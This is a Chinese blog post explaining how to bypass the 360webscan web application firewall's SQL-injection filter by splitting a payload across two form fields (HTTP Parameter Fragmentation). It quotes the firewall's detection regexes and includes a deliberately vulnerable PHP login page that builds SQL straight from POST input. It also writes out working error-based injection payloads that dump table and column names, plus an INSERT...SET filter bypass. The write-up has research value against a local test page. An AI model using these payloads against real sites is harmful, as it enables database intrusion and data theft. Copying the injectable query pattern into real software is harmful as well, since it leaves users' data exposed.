360webscan防注入绕过(HPF)-利用多个参数合并-

最近看Mysql基于数据类型溢出的报错注入,又重新燃起了我以前对SQLi的激情。感觉自己还是很喜欢这个东西的。发现凡是 能和“绕过”有关系的不包括那些硬件DEP ASLR)东西我都很喜欢,而且欲罢不能。所以找回来了之前绕过360webscan时的那个文件,看看防注入是否也能绕过(已经被利用$_SERVER['PHP_SELF']那块的缺陷绕过了一次  ).下面是这个兼备了防注入和防XSS功能的防御文件的正则部分:
//拦截get
$getfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

//拦截POST
$postfilter = "
\\b(alert\\(|confirm\\(|prompt\\()\\b|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

//拦截cookies
$cookiefilter = "\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

  又是这个正则,虽然已经是第二次看了,但看的还是眼花缭乱。why?因为我第一次就没看懂。当时也是黑盒测试摸规则。如果非要让我给正则一句评语,我觉得会是:
REGEX MUST DIE 

  在这里再提一下另外一个bypass来自@园长。因为
http://localhost/360.php?sql=insert into user (user,pass) values ('admin','123456')

还可以写成:
http://localhost/360.php?sql=insert into user set user='admin',pass='123456'

所以上面的正则 INSERT\\s+INTO.+?VALUES 是匹配不到的。原因是INTO后面没有出现预期的VALUES。

  还有别的办法么?也许是有的。我们先大概把上面那一坨正则中最重要的两处分离出来:
UNION.+?SELECT

(SELECT|DELETE).+?FROM

union后面但凡出现select,又或者select后面只要出现from就会拦截。看上去是几乎完美的。因为多数情况下我们的目标都是访问管理员的 那张表来获取管理员的账号密码。如果想要访问其它表就只能通过上面被过滤的途径来进行访问。(如果是后台登录页面存在注入,情况可能会特殊一些 因为不需要访问其它的表。这个情况比较简单 就不去讨论了)

  现在让我们来看看一个SQL注入漏洞的例子:

<?php
require_once($_SERVER['DOCUMENT_ROOT'].'/360webscan.php');

$link=mysql_connect('localhost','用户名','密码');
mysql_select_db('sqli',$link);
?>
<meta charset=utf-8>
                        <p class="bread">XX网站内容管理系统 >> 后台登录</p>
                        <form action="" method="post">
<table width="50%">
    <tr>
        <th>username:</th>
        <td><input type="text" name="user"></td>
    </tr>
    <tr>
        <th>password:</th>
        <td><input type="text" name="password"></td>
    </tr>
<tr align=center>
   <td> <input type="submit" value="login" name="s"></td>
</tr>
</table>
</form>
<h1>虽然有SQLi 漏洞。但是你绕得过360webscan么?</h1>
<?php
if($_POST['s'])

{

    $user = $_POST['user'];
    $pass = $_POST['password'];
    $re = mysql_query("select * from admin  where username = '$user' and password = '$pass'");

    if(mysql_num_rows($re) == 0){       
echo 'Bad username or password';
    }

else

{
        echo htmlspecialchars($user).' welcome!'."<BR><BR>".'Admin\'s Secret:W4s that ez?';

    }

echo  mysql_error($link). " \n";



}
?>

   这只是个例子,你不必把它看做是管理员登录页面,因为如果当前表是admin的表就没有访问其它的表的必要了。所以你只要明白在这个例子里我们有两个可 控的变量在query就好了。一个是$user而另外一个$pass.有两个可控的变量就可以了?嗯,是的。因为我们可以用HTTP Parameter Fragmentation。把会触发正则的部分分别提交给两个变量,正则无法匹配注入攻击,最后进入到Query时,不就绕过了嘛……

我们在用户名处填写:
 ' xor extractvalue(1, concat(0x5c,(select group_concat(table_name)/*

再跑回到密码处填写:
*/from information_schema.table_constraints where constraint_schema=database())))#

最后进到query是就会是这样:
select * from admin  where username = '' xor extractvalue(1, concat(0x5c,(select group_concat(table_name)/*' and password = '*/from information_schema.table_constraints where constraint_schema=database())))#'


我们用注释符/* */注释掉了中间的' and password = ',最后再用注释符#注释掉了尾部的单引号。也就是说实际上会执行的query是:
select * from admin  where username = '' xor extractvalue(1, concat(0x5c,(select group_concat(table_name) from information_schema.table_constraints where constraint_schema=database())))

由于select 和from 都是分开提交的所以并不会触发(SELECT|DELETE).+?FROM 。也成功获取了其它的表(我这个裤里只有一个表……所以爆出来只能看到admin):


接着爆一下字段,
用户名: ' xor extractvalue(1, concat(0x5c,(select group_concat(column_name)/*
密码:*/
from information_schema.columns where table_name='admin')))#